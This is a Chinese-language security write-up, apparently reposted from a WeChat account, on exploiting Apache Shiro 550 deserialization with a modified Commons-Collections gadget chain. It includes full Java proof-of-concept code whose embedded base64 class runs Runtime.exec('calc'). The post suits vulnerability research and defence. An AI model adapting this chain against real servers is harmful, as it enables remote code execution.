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在shiro反序列化过程中，在反序列化的代码如下
public T deserialize(byte[] serialized) throws SerializationException {if (serialized == null) {String msg = "argument cannot be null.";throw new IllegalArgumentException(msg);} else {ByteArrayInputStream bais = new ByteArrayInputStream(serialized);BufferedInputStream bis = new BufferedInputStream(bais);try {ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);T deserialized = ois.readObject();ois.close();return deserialized;} catch (Exception var6) {String msg = "Unable to deserialze argument byte array.";throw new SerializationException(msg, var6);}}}
可以看到在10行，new的是一个没见过的对象。跟进查看
public class ClassResolvingObjectInputStream extends ObjectInputStream {public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException {super(inputStream);}protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {try {return ClassUtils.forName(osc.getName());} catch (UnknownClassException var3) {throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", var3);}}}
resolveClass 是反序列化中用来查找类的方法，简单来说，读取序列化流的时候，读到一个字符串形式的类名，需要通过这个方法来找到对应的 java.lang.Class 对象。
区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName （实际上内部用到了org.apache.catalina.loader.ParallelWebappClassLoader#loadClass，而后者用的是Java原生的 Class.forName 。
网上很多文章就给出结论，Class.forName支持加载数组，而ClassLoader.loadClass 不支持加载数组，这个区别导致了问题。
public class CCShiro {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}public static void getPayload(byte[] clazzBytes) throws Exception {TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});setFieldValue(obj, "_name", "HelloTemplatesImpl");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer transformer = new InvokerTransformer("getClass", null, null);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformer);TiedMapEntry tme = new TiedMapEntry(outerMap, obj);Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();setFieldValue(transformer, "iMethodName", "newTransformer");ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ccshiro.bin"));objectOutputStream.writeObject(expMap);objectOutputStream.close();ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("ccshiro.bin"));inputStream.readObject();inputStream.close();}public static void main(String[] args) throws Exception {byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEACEV2aWxUZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAASAAQAEwANABQACwAAAAQAAQAQAAEAEQAAAAIAEg==");getPayload(bytes);}}
TemplatesImpl#newTransformer()就是CC3利用的一个入口，这里不过多讲解
分析InvokerTransformer，其实这就是CC3链的一个调用过程，假设给input传入TemplatesImpl，iMethodName传入为newTransformer，则就会执行命令
接下来分段分析，首先来可以看出InvokerTransformer是一个利用点
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformer);
LazyMap如下，factory为传入的transformer
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();setFieldValue(transformer, "iMethodName", "newTransformer");
TiedMapEntry如下，参数1是 LazyMap 参数2是 TemplatesImpl实例化对象
可以通过getValue()来执行到LazyMap中
之后将TiedMapEntry传入到expMap的key中
Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.clear();
在HashMap的readObject中，将key传入到了hash方法中
而hash调用如下，其key为TiedMapEntry，所以会调用到TiedMapEntry#hashCode方法
而该TiedMapEntry#hashCode会调用到getValue，从而间接的调用map.get(LazyMap)
这里清空的意义就是为了能进入LazyMap中的该if判断
setFieldValue(transformer, "iMethodName", "newTransformer");通过反射，将iMethodName修改为newTransformer，这就最终会命令执行了
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原文始发于微信公众号（安全族）：Shiro550改造版CC链利用
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